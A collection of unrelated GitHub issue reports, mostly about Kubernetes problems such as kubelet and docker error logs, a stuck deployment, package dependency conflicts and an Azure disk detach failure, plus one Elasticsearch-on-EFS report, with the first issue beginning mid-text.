/kubepods/besteffort/pod818db162-6a22-11e7-a6cf-00163e215c33/606ba3081a7189604754f3a2ea2b98548b8ef1fe6b28ba45110ae71c53bed650\   aliases:  k8s_kube-cronjob-cleanup-cronjob_kube-cronjob-cleanup-cronjob-1500208200-xtdb1_default_818db162-6a22-11e7-a6cf-00163e215c33_0 606ba3081a7189604754f3a2ea2b98548b8ef1fe6b28ba45110ae71c53bed650 , namespace: \ docker\  \r \r i0716 12:30:11.760824    2898 kubelet_pods.go:936  killing unwanted pod \ kube-cronjob-cleanup-cronjob-1500208200-xtdb1\ \r i0716 12:30:11.762352    2898 plugins.go:412  calling network plugin kubernetes.io/no-op to tear down pod \ kube-cronjob-cleanup-cronjob-1500208200-xtdb1_default\ \r i0716 12:30:11.789600    2898 manager.go:970  destroyed container: \ /kubepods/besteffort/pod818db162-6a22-11e7-a6cf-00163e215c33/c398a9c84581d91a2ddb00c2fefb183834d4ff4b0f1edb6b99230260093ffb47\   aliases:  k8s_pod_kube-cronjob-cleanup-cronjob-1500208200-xtdb1_default_818db162-6a22-11e7-a6cf-00163e215c33_0 c398a9c84581d91a2ddb00c2fefb183834d4ff4b0f1edb6b99230260093ffb47 , namespace: \ docker\  \r    \r \r note that the sandbox container is cleaned up about 1 second after the primary container has exited   i0716 12:30:11.760824  .\r \r the logging from inside the container  i.e. the  command   indicate it started at   2017-07-16 12:30:10,436   and ended at   2017-07-16 12:30:10,694  .\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.1\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : ubuntu 14.04\r - kernel  e.g.  uname -a  : linux redacted 3.13.0-44-generic  73-ubuntu smp tue dec 16 00:22:43 utc 2014 x86_64 x86_64 x86_64 gnu/linux\r - install tools: server/client binaries installed from binary releases, core  apiserver, controller-manager, scheduler  running in hyperkube, built by me from official release sources\r - others:\r

>  \r my cluster look like health, but the docker&kubelet print many error log.\r \r journalctl -u kubelet -r\r    \r aug 29 09:17:38 node1 kubelet 2771 : w0829 09:17:38.075163    2771 cni.go:258  cni failed to retrieve network namespace path: cannot find network namespace for the \r aug 29 09:17:38 node1 kubelet 2771 : w0829 09:17:38.073459    2771 docker_sandbox.go:342  failed to read pod ip from plugin/docker: networkplugin cni failed on the status hook for pod \ harbor-registry-nz8hj_kube-system\ : cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ d66c8e6200fc7b3ab307ff9d06e41c25152fd7f410e5b15d18abecb0a6243a4e\ \r aug 29 09:17:38 node1 kubelet 2771 : e0829 09:17:38.061786    2771 kuberuntime_gc.go:127  failed to remove container \ 810abff3b66c3e456259f2964d9d4c5b47e8f7d3da1e6f2e0dd07097d5a5aa19\ : failed to get container status \ 810abff3b66c3e456259f2964d9d4c5b47e8f7d3da1e6f2e0dd07097d5a5aa19\ : rpc error: code = 2 desc = error: no such container: 810abff3b66c3e456259f2964d9d4c5b47e8f7d3da1e6f2e0dd07097d5a5aa19\r aug 29 09:17:38 node1 kubelet 2771 : e0829 09:17:38.061767    2771 remote_runtime.go:277  containerstatus \ 810abff3b66c3e456259f2964d9d4c5b47e8f7d3da1e6f2e0dd07097d5a5aa19\  from runtime service failed: rpc error: code = 2 desc = error: no such container: 810abff3b66c3e456259f2964d9d4c5b47e8f7d3da1e6f2e0dd07097d5a5aa19\r aug 29 09:17:38 node1 kubelet 2771 : e0829 09:17:38.060905    2771 kuberuntime_gc.go:127  failed to remove container \ 48c62e14c49a066fe2b6eceb77ff132cc17441fe24eb6574bad68c8e06076e44\ : failed to get container status \ 48c62e14c49a066fe2b6eceb77ff132cc17441fe24eb6574bad68c8e06076e44\ : rpc error: code = 2 desc = error: no such container: 48c62e14c49a066fe2b6eceb77ff132cc17441fe24eb6574bad68c8e06076e44\r aug 29 09:17:38 node1 kubelet 2771 : e0829 09:17:38.060886    2771 remote_runtime.go:277  containerstatus \ 48c62e14c49a066fe2b6eceb77ff132cc17441fe24eb6574bad68c8e06076e44\  from runtime service failed: rpc error: code = 2 desc = error: no such container: 48c62e14c49a066fe2b6eceb77ff132cc17441fe24eb6574bad68c8e06076e44\r aug 29 09:17:38 node1 kubelet 2771 : e0829 09:17:38.059897    2771 kuberuntime_gc.go:127  failed to remove container \ dc5aaf355de901652f75fc127481fc0d8b16f3588c9b6f3a16d6dc55b58c1730\ : failed to get container status \ dc5aaf355de901652f75fc127481fc0d8b16f3588c9b6f3a16d6dc55b58c1730\ : rpc error: code = 2 desc = error: no such container: dc5aaf355de901652f75fc127481fc0d8b16f3588c9b6f3a16d6dc55b58c1730\r aug 29 09:17:38 node1 kubelet 2771 : e0829 09:17:38.059878    2771 remote_runtime.go:277  containerstatus \ dc5aaf355de901652f75fc127481fc0d8b16f3588c9b6f3a16d6dc55b58c1730\  from runtime service failed: rpc error: code = 2 desc = error: no such container: dc5aaf355de901652f75fc127481fc0d8b16f3588c9b6f3a16d6dc55b58c1730\r    \r journalctl -u docker -r\r    \r journal\r vel=error msg=\ handler for post /v1.26/containers/82efe5079fd1951ac5e911fe6cd1fb6592cfd0a1f0bfaf6cbdaab64f2c14a706/stop returned error: container 82efe5079fd1951ac592cfd0a1f0bfaf6cbdaab64f2c14a706/stop returned error: container 82efe5079fd1951ac5e911fe6cd1fb6592cfd0a1f0bfaf6cbdaab64f2c14a706 is already stopped\ \r vel=error msg=\ handler for post /v1.26/containers/06fd3640f3ba760a8912600098c3d558b7bbf6df40968658a1361836c1139d79/stop returned error: container 06fd3640f3ba760a89b7bbf6df40968658a1361836c1139d79/stop returned error: container 06fd3640f3ba760a8912600098c3d558b7bbf6df40968658a1361836c1139d79 is already stopped\ \r vel=error msg=\ handler for post /v1.26/containers/3352f4c745eda97a5d0c9530dceb8871da99188365f2ff55b0b13f4f393eb131/stop returned error: container 3352f4c745eda97a5dda99188365f2ff55b0b13f4f393eb131/stop returned error: container 3352f4c745eda97a5d0c9530dceb8871da99188365f2ff55b0b13f4f393eb131 is already stopped\ \r vel=error msg=\ handler for post /v1.26/containers/a9eaa77c5124c84083fc756abe0a517cb3339a5c39dc4e6519681a628dc16614/stop returned error: no such container: a9eaa77c5b3339a5c39dc4e6519681a628dc16614/stop returned error: no such container: a9eaa77c5124c84083fc756abe0a517cb3339a5c39dc4e6519681a628dc16614\ \r vel=error msg=\ handler for get /v1.26/containers/a9eaa77c5124c84083fc756abe0a517cb3339a5c39dc4e6519681a628dc16614/json returned error: no such container: a9eaa77c513339a5c39dc4e6519681a628dc16614/json returned error: no such container: a9eaa77c5124c84083fc756abe0a517cb3339a5c39dc4e6519681a628dc16614\ \r vel=error msg=\ handler for get /v1.26/containers/a9eaa77c5124c84083fc756abe0a517cb3339a5c39dc4e6519681a628dc16614/json returned error: no such container: a9eaa77c513339a5c39dc4e6519681a628dc16614/json returned error: no such container: a9eaa77c5124c84083fc756abe0a517cb3339a5c39dc4e6519681a628dc16614\ \r vel=error msg=\ handler for post /v1.26/containers/1c3395d5222ee428133c3b9f46a19104e2dfca8d943a6c4e0fdb85b5aab98075/stop returned error: container 1c3395d5222ee42813e2dfca8d943a6c4e0fdb85b5aab98075/stop returned error: container 1c3395d5222ee428133c3b9f46a19104e2dfca8d943a6c4e0fdb85b5aab98075 is already stopped\ \r    \r   environment  :\r - kubernetes version: 1.6.1 \\1.7.3\r - os : redhat 7.3\r - kernel :  4.12.8-1.el7.elrepo.x86_64\r - docker: 1.12.6\\1.13.1\r - docker storage driver : overlay2\r \r \r   what did i do  \r 1、i tried to change different versions of the kube & docker，like: \r kube1.6.1+docker 1.12.6;\r kube1.6.1+docker 1.13.1;\r kube1.7.3+docker 1.12.6;\r kube1.7.3+docker1.13.1. \r but have no effect ....\r 2、in order to use overlay2, i put the kernel upgrade from 3.10 to 4.12 \r 3、 issues38979  https://github.com/kubernetes/kubernetes/issues/38979 issuecomment-268340625  said those logs can be  ignored .\r \r   what should i do next ........need your help,thanks  \r @thockin \r this is a known bug ?\r

https://github.com/kubernetes/kubernetes/pull/57254 helps but is not enough for the fix. after https://github.com/kubernetes/kubernetes/pull/57254, i saw another failure:\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-cri-containerd-e2e-ubuntu-gce/1057.\r \r before, all test after aggregator test would fail. now all tests before/after aggregator tests are passing. however, during the aggregator test waiting for namespace cleanup  10 min until timeout , all the other tests are failing.\r \r the reason is that,  beforeeach s run in lifo order,  aftereach s run in fifo order.  newdefaultframework  inserts an  aftereach  function to do namespace cleanup.\r \r in the current code, the namespace cleanup  aftereach  is inserted by  newdefaultframework  before  cleanuptest , it means that the test will try to delete namespace first, and then cleanup the api service. however, as known to us, if api service is not cleaned up, namespace deletion will wait forever.\r \r @kubernetes/sig-api-machinery-bugs

hi all,\r \r i use systemd to start kubelet,\r but log show these error:\r \r    \r jan 12 15:34:42 centos3 kubelet 6623 : e0112 15:34:42.401593    6623 container_manager_linux.go:583   containermanager : fail to get rootfs information unable to find data for container /\r    \r \r but i still can create the pod successfully.\r anyone can help?\r \r the version is 1.9\r \r 

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r for custom resources,  kubectl get --export  strips the values but keeps the fields - sort of destroying the purpose of  --export .\r \r example:\r \r    yaml\r apiversion: stable.example.com/v1\r kind: crontab\r metadata:\r   clustername: \ \ \r   name: my-new-cron-object\r   namespace: \ \ \r   resourceversion: \ \ \r   selflink: /apis/stable.example.com/v1/namespaces/default/crontabs/my-new-cron-object\r   uid: \ \ \r spec:\r   cronspec: '         /5'\r   image: my-awesome-cron-image\r    \r \r   what you expected to happen  :\r \r the stripped fields should not be shown.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a crd.\r \r    yaml\r $ cat crd.yaml\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: crontabs.stable.example.com\r spec:\r   group: stable.example.com\r   version: v1\r   scope: namespaced\r   names:\r     plural: crontabs\r     singular: crontab\r     kind: crontab\r     shortnames:\r     - ct\r \r $ kubectl create -f crd.yaml\r customresourcedefinition \ crontabs.stable.example.com\  created\r    \r \r 2. create the custom resource.\r \r    yaml\r $ cat crontab.yaml\r apiversion: \ stable.example.com/v1\ \r kind: crontab\r metadata:\r   name: my-new-cron-object\r spec:\r   cronspec: \          /5\ \r   image: my-awesome-cron-image\r \r $ kubectl create -f crontab.yaml\r crontab \ my-new-cron-object\  created\r    \r \r 3. do a  kubectl get --export=true \r \r    yaml\r $ kubectl get crontabs my-new-cron-object --export=true -oyaml\r apiversion: stable.example.com/v1\r kind: crontab\r metadata:\r   clustername: \ \ \r   name: my-new-cron-object\r   namespace: \ \ \r   resourceversion: \ \ \r   selflink: /apis/stable.example.com/v1/namespaces/default/crontabs/my-new-cron-object\r   uid: \ \ \r spec:\r   cronspec: '         /5'\r   image: my-awesome-cron-image\r    \r \r   anything else we need to know?  :\r \r this occurs due to inconsistent marshalling for  unstructured  objects. see https://github.com/kubernetes/kubernetes/pull/58332 for a fix.\r \r related issue: https://github.com/kubernetes/kubernetes/issues/50454 issuecomment-358927276 \r \r   environment  :\r - kubernetes version  use  kubectl version  : head\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r  /area custom-resources\r /cc @sttts @errordeveloper @liggitt

is this a bug report or feature request?  :\r \r  \r it seems a deployment has gotten stuck. how can i diagnose this further? \r \r     kubectl rollout status deployment/wordpress\r     waiting for rollout to finish: 2 out of 3 new replicas have been updated...\r \r it's stuck on that for ages already. it is not terminating the two older pods: \r \r     kubectl get pods                   \r     name                         ready     status    restarts   age\r     nfs-server-r6g6w             1/1       running   0          2h\r     redis-679c597dd-67rgw        1/1       running   0          2h\r     wordpress-64c944d9bd-dvnwh   4/4       running   3          3h\r     wordpress-64c944d9bd-vmrdd   4/4       running   3          3h\r     wordpress-f59c459fd-qkfrt    0/4       pending   0          22m\r     wordpress-f59c459fd-w8c65    0/4       pending   0          22m\r and the events:\r \r     kubectl get events --all-namespaces\r     namespace   last seen   first seen   count     name                                          kind         subobject   type      reason              source                    message\r     default     25m         2h           333       wordpress-686ccd47b4-4pbfk.153408cdba627f50   pod                      warning   failedscheduling    default-scheduler         no nodes are available that match all of the predicates: insufficient cpu  1 , insufficient memory  2 , matchinterpodaffinity  1 .\r     default     25m         2h           337       wordpress-686ccd47b4-vv9dk.153408cc8661c49d   pod                      warning   failedscheduling    default-scheduler         no nodes are available that match all of the predicates: insufficient cpu  1 , insufficient memory  2 , matchinterpodaffinity  1 .\r     default     22m         22m          1         wordpress-686ccd47b4.15340e5036ef7d1c         replicaset               normal    successfuldelete    replicaset-controller     deleted pod: wordpress-686ccd47b4-4pbfk\r     default     22m         22m          1         wordpress-686ccd47b4.15340e5036f2fec1         replicaset               normal    successfuldelete    replicaset-controller     deleted pod: wordpress-686ccd47b4-vv9dk\r     default     2m          22m          72        wordpress-f59c459fd-qkfrt.15340e503bd4988c    pod                      warning   failedscheduling    default-scheduler         no nodes are available that match all of the predicates: insufficient cpu  1 , insufficient memory  2 , matchinterpodaffinity  1 .\r     default     2m          22m          72        wordpress-f59c459fd-w8c65.15340e50399a8a5a    pod                      warning   failedscheduling    default-scheduler         no nodes are available that match all of the predicates: insufficient cpu  1 , insufficient memory  2 , matchinterpodaffinity  1 .\r     default     22m         22m          1         wordpress-f59c459fd.15340e5039d6c622          replicaset               normal    successfulcreate    replicaset-controller     created pod: wordpress-f59c459fd-w8c65\r     default     22m         22m          1         wordpress-f59c459fd.15340e503bf844db          replicaset               normal    successfulcreate    replicaset-controller     created pod: wordpress-f59c459fd-qkfrt\r     default     3m          23h          177       wordpress.1533c22c7bf657bd                    ingress                  normal    service             loadbalancer-controller   no user specified default backend, using system default\r     default     22m         22m          1         wordpress.15340e50356eaa6a                    deployment               normal    scalingreplicaset   deployment-controller     scaled down replica set wordpress-686ccd47b4 to 0\r     default     22m         22m          1         wordpress.15340e5037c04da6                    deployment               normal    scalingreplicaset   deployment-controller     scaled up replica set wordpress-f59c459fd to 2\r \r \r ----------\r \r \r    \r \r the newer pods are not being scheduled and there is insufficient memory for them.\r \r   environment  :\r - cloud provider or hardware configuration: google cloud\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r the visitor function in the pod api highlights that there is no way to get the collection of secrets in a cloud provider agnostic way.\r \r see the switch statement at:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/api/pod/util.go l52\r \r   why is this needed  :\r \r cloud provider specific code should be abstracted via the cloud provider implementations and not in core project code.  this is likely to avoid bugs in the future.\r \r i'm new to the project, so apologies in advance if there is a good reason for the code being written this way  e.g. backward compatibility .\r \r  \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r error: unable to recognize \ my-hpa.yml\ : no matches for kind \ horizontalpodautoscaler\  in version \ autoscaling/v2beta2\ \r \r   what you expected to happen  :\r no error according to https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/ autoscaling-on-multiple-metrics-and-custom-metrics\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.2\r - cloud provider or hardware configuration: aws eks\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r \r installing kubelet package on ubuntu 16.04 fails due to dependency issue with kubernetes-cni \r \r   what you expected to happen  :\r \r to be able to install kubelet and have any upstream dependencies managed\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r apt-get update && apt-get install -y apt-transport-https curl\r curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r cat <<eof >/etc/apt/sources.list.d/kubernetes.list\r deb https://apt.kubernetes.io/ kubernetes-xenial main\r eof\r apt-get update\r apt-get install -y kubelet=1.13.3-00\r    \r    \r root@node-01:~  apt-get install kubelet=1.13.3-00\r reading package lists... done\r building dependency tree       \r reading state information... done\r some packages could not be installed. this may mean that you have\r requested an impossible situation or if you are using the unstable\r distribution that some required packages have not yet been created\r or been moved out of incoming.\r the following information may help to resolve the situation:\r \r the following packages have unmet dependencies:\r  kubelet : depends: kubernetes-cni  = 0.6.0  but 0.7.5-00 is to be installed\r e: unable to correct problems, you have held broken packages.\r    \r \r   anything else we need to know?  :\r \r   environment  \r - kubernetes version  use  kubectl version  :\r 1.13.3\r - os  e.g:  cat /etc/os-release  :\r {\r   architecture => \ amd64\ ,\r   distro => {\r     codename => \ xenial\ ,\r     description => \ ubuntu 16.04.5 lts\ ,\r     id => \ ubuntu\ ,\r     release => {\r       full => \ 16.04\ ,\r       major => \ 16.04\ \r     }\r   },\r   family => \ debian\ ,\r   hardware => \ x86_64\ ,\r   name => \ ubuntu\ ,\r   release => {\r     full => \ 16.04\ ,\r     major => \ 16.04\ \r   },\r   selinux => {\r     enabled => false\r   }\r }\r

what happened  :\r \r  78298 made sure that api calls to azure that return a http code 200 with an embedded error are retried. nevertheless, we observe a series of errors during the azure disk detach backoff while calling  processhttpretryresponse   , and the detach operation is immediately cancelled.\r \r   happy scenario: the disk is to be re-attached to the same vm.  \r the reconciler's  attacherdetacher.attachvolume  will update the vmss instance and the previous detach error will be masked. it takes 15 min for the detach call to timeout but the disk will eventually get re-attached after several vmss updates   azure_controller_vmss.go:87  azuredisk - update <vmss> : vm <vm>  - attach disk <disk>   .\r \r   not-so-happy scenario: the disk is to be re-attached to another vm.  \r the same errors as in  78172 will be thrown indefinitely.\r \r controller-manager's logs:\r    \r   detach routine starts detaching the disk\r \r i0603 16:44:01.823620       1 reconciler.go:229  attacherdetacher.detachvolume started for volume \ pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\   uniquename: \ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\   on node \ k8s-cust-79105490-vmss00004o\  \r i0603 16:44:01.839835       1 operation_generator.go:1221  verified volume is safe to detach for volume \ pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\   uniquename: \ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\   on node \ k8s-cust-79105490-vmss00004o\  \r i0603 16:44:01.847198       1 azure_controller_vmss.go:122  azuredisk - detach disk: name \ \  uri \ /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\ \r i0603 16:44:01.847322       1 azure_controller_vmss.go:151  azuredisk - update cacl2-cust-d1 : vm k8s-cust-79105490-vmss00004o  - detach disk , /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7 \r \r   another background routine determines the disk is \ unattached\ \r \r i0603 16:45:36.478028       1 attacher.go:145  azuredisk - volumesareattached: check volume \ k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\   specname: \ pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\   is no longer attached\r i0603 16:45:36.478066       1 operation_generator.go:193  verifyvolumesareattached determined volume \ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\   spec.name: \ pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\   is no longer attached to node \ k8s-cust-79105490-vmss00004o\ , therefore it was marked as detached.\r \r   detach routine times out after 15 min, but api returns 200\r \r i0603 16:59:02.523206       1 azure_controller_common.go:115  azuredisk - update backing off: detach disk , /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7 , err: azure waitforcompletion: context has been cancelled: statuscode=200 -- original error: context deadline exceeded\r \r   this is followed by a bunch of \ disk not found\  errors\r \r e0603 16:59:02.603427       1 azure_backoff.go:427  processhttpretryresponse: backoff failure, will retry, err=detach azure disk failure, disk  not found, diskuri: /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\r e0603 16:59:12.008429       1 azure_backoff.go:427  processhttpretryresponse: backoff failure, will retry, err=detach azure disk failure, disk  not found, diskuri: /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\r e0603 16:59:23.655154       1 azure_backoff.go:427  processhttpretryresponse: backoff failure, will retry, err=detach azure disk failure, disk  not found, diskuri: /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\r e0603 16:59:40.085495       1 azure_backoff.go:427  processhttpretryresponse: backoff failure, will retry, err=detach azure disk failure, disk  not found, diskuri: /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\r e0603 17:00:06.609956       1 azure_backoff.go:427  processhttpretryresponse: backoff failure, will retry, err=detach azure disk failure, disk  not found, diskuri: /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\r e0603 17:00:49.698392       1 azure_backoff.go:427  processhttpretryresponse: backoff failure, will retry, err=detach azure disk failure, disk  not found, diskuri: /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\r i0603 17:00:49.698449       1 azure_controller_common.go:122  azuredisk - update abort backoff: detach disk , /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7 , err: timed out waiting for the condition\r e0603 17:00:49.698473       1 azure_controller_common.go:126  azuredisk - detach disk , /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7  failed, err: timed out waiting for the condition\r e0603 17:00:49.698490       1 attacher.go:302  failed to detach azure disk \ /subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\ , err timed out waiting for the condition\r i0603 17:00:49.698531       1 attacher.go:305  azuredisk - disk:/subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7 was detached from node:k8s-cust-79105490-vmss00004o\r e0603 17:00:49.698638       1 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\\\ \  failed. no retries permitted until 2019-06-03 17:00:50.198578075 +0000 utc m=+26367.031508457  durationbeforeretry 500ms . error: \ detachvolume.detach failed for volume \\\ pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\\\   uniquename: \\\ kubernetes.io/azure-disk//subscriptions/<subs>/resourcegroups/cacl2-cust-d1/providers/microsoft.compute/disks/k8s-mstr-cacl2-cust-d1-kub-d-pvc-db8323f9-1eb5-11e9-882a-000d3a1f73e7\\\   on node \\\ k8s-cust-79105490-vmss00004o\\\  : timed out waiting for the condition\ \r \r   attach volume fails with statuscode=409  see issue 78172  again and again\r   ...\r    \r \r   what you expected to happen  :\r \r the backoff succeeds and the failed detach operation gets retried.\r \r   how to reproduce it  :\r \r a single pod with a single azure disk.\r this seems quite hard to reproduce, but it is happening consistently in one of our customer's resource group  eastus .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version:  release-1.12  branch  kubernetes/kubernetes@e94e2ecda3bb3e7a44205169693d7ab420b92035 \r - cloud provider: azure  via aks-engine \r - os: ubuntu 16.04.6 lts\r - kernel: 4.15.0-1042-azure\r - install tools:  aks-engine  https://github.com/azure/aks-engine \r - network plugin and version:\r - others:\r \r  paging @andyzhangx @feiskyer

per @bprashanth's https://github.com/kubernetes/kubernetes/issues/19552 issuecomment-171017736, we need to nail down how we want to go about ensuring that contributed pods are working as intended.  people can contribute e2e tests and mark them as   feature:...  , but they will then be expected to make sure they're running as necessary.  @kubernetes/goog-testing do we want to be keeping track of these in some ways?  @bprashanth @thockin  do you have any thoughts to contribute to this?

<!-- github is reserved for bug reports and feature requests. the best place to ask a general question is at the elastic discourse forums at https://discuss.elastic.co. if you are in fact posting a bug report or a feature request, please include one and only one of the below blocks in your new issue. note that whether you're filing a bug report or a feature request, ensure that your submission is for an  os that we support  https://www.elastic.co/support/matrix show_os . bug reports on an os that we do not support or feature requests specific to an os that we do not support will be closed. -->  <!-- if you are filing a bug report, please remove the below feature request block and provide responses for all of the below items. -->    elasticsearch version  : 2.4.0    plugins installed  :  kopf, head     jvm version  : openjdk 64-bit server vm  build 25.92-b14, mixed mode      docker version  :  1.10.3, build 1f8f545    os version  :  4.7.0-coreos    description of the problem including expected versus actual behavior  :  deploying elasticsearch cluster with 1 master node + 3 data nodes + 2 clients nodes within kubernetes petsets as mentioned here:       name                 ready     status    restarts   age es-client-petset-0   1/1       running   0          1h es-client-petset-1   1/1       running   0          1h es-data-petset-0     1/1       running   0          1h es-data-petset-1     1/1       running   0          1h es-data-petset-2     1/1       running   0          1h es-master-petset-0   1/1       running   0          1h      when i'm trying to create a new index i have this error in master node's logs:       2016-09-21 13:00:34,438  warn   cluster.action.shard        dragoness   test  0  received shard failed for target shard   test  0 , node tzu-jiwlqrcdjvjup2sajw ,  p , v 1 , s initializing , a id=0ofhww7aqzgzb18tfjqy3a , unassigned_info  reason=index_created , at 2016-09-21t13:00:34.381z   , indexuuid  kiw55ax0qvadnzzifest-w , message  failed to create shard , failure  nullpointerexception null   java.lang.nullpointerexception         at org.elasticsearch.index.shard.shardpath.selectnewpathforshard shardpath.java:241          at org.elasticsearch.index.indexservice.createshard indexservice.java:336          at org.elasticsearch.indices.cluster.indicesclusterstateservice.applyinitializingshard indicesclusterstateservice.java:620          at org.elasticsearch.indices.cluster.indicesclusterstateservice.applyneworupdatedshards indicesclusterstateservice.java:520          at org.elasticsearch.indices.cluster.indicesclusterstateservice.clusterchanged indicesclusterstateservice.java:177          at org.elasticsearch.cluster.service.internalclusterservice.runtasksforexecutor internalclusterservice.java:610          at org.elasticsearch.cluster.service.internalclusterservice$updatetask.run internalclusterservice.java:772          at org.elasticsearch.common.util.concurrent.prioritizedesthreadpoolexecutor$tiebreakingprioritizedrunnable.runandclean prioritizedesthreadpoolexecutor.java:231          at org.elasticsearch.common.util.concurrent.prioritizedesthreadpoolexecutor$tiebreakingprioritizedrunnable.run prioritizedesthreadpoolexecutor.java:194          at java.util.concurrent.threadpoolexecutor.runworker threadpoolexecutor.java:1142          at java.util.concurrent.threadpoolexecutor$worker.run threadpoolexecutor.java:617          at java.lang.thread.run thread.java:745       the bug is mentioned that it was fixed here  20527 .   docker image used :       from quay.io/pires/docker-elasticsearch:2.4.1 maintainer   add do_not_use.yml /elasticsearch/config/elasticsearch.yml    install elasticsearch plug-ins run /elasticsearch/bin/plugin install io.fabric8/elasticsearch-cloud-kubernetes/2.4.0_01 --verbose run /elasticsearch/bin/plugin install mobz/elasticsearch-head run /elasticsearch/bin/plugin install lmenezes/elasticsearch-kopf/2.0   override elasticsearch.yml config, otherwise plug-in install will fail add elasticsearch.yml /elasticsearch/config/elasticsearch.yml    copy run script copy run.sh /      persistant volume and volume claim manifest file:      apiversion: v1 kind: persistentvolume metadata:   name: elasticsearch-pv001   annotations:     aws.efs/id: fs-        labels:     performance: max-io     purpose: elastic-search     volume-type: nfs     environment: prod spec:   accessmodes:   - readwritemany   capacity:     storage: 50gi   nfs:     path: /pv001/elasticsearch     server: eu-west-1a.fs-     .efs.eu-west-1.amazonaws.com   persistentvolumereclaimpolicy: retain  --- kind: persistentvolumeclaim apiversion: v1 metadata:   name: elasticsearch-pv001-pvc spec:   accessmodes:     - readwritemany   resources:     requests:       storage: 50gi   volumename: elasticsearch-pv001       explanation of the problem here  19554  kuberenetes elasticsearch integration :  https://github.com/pires/kubernetes-elasticsearch-cluster  as mentioned in http://docs.aws.amazon.com/efs/latest/ug/mounting-fs-mount-cmd-general.html it's recommended following default linux mount option values:      rsize=1048576 wsize=1048576 hard timeo=600 retrans=2      is there a solution to pass these option when creating pv/pvc ?

